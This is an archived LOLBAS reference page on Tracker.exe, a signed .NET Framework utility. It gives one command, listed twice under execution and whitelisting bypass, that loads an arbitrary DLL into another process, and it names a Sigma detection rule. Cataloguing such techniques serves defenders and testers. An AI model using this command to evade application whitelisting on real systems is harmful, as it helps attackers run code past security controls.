Tracker on LOLBAS
Archived: 2026-04-05 23:20:56 UTC
.. /Tracker.exe
Tool included with Microsoft .Net Framework.
Paths:
no default
Resources:
https://twitter.com/subTee/status/793151392185589760
https://attack.mitre.org/wiki/Execution
Acknowledgements:
Casey Smith (@subTee)
Detections:
Sigma: proc_creation_win_lolbin_tracker.yml
Execute
1. Use tracker.exe to proxy execution of an arbitrary DLL into another process. Since tracker.exe is also
signed it can be used to bypass application whitelisting solutions.
Tracker.exe /d file.dll /c C:\Windows\write.exe
AWL bypass
1. Use tracker.exe to proxy execution of an arbitrary DLL into another process. Since tracker.exe is also
signed it can be used to bypass application whitelisting solutions.
Tracker.exe /d file.dll /c C:\Windows\write.exe
Source: https://lolbas-project.github.io/lolbas/OtherMSBinaries/Tracker/
https://lolbas-project.github.io/lolbas/OtherMSBinaries/Tracker/
Page 1 of 1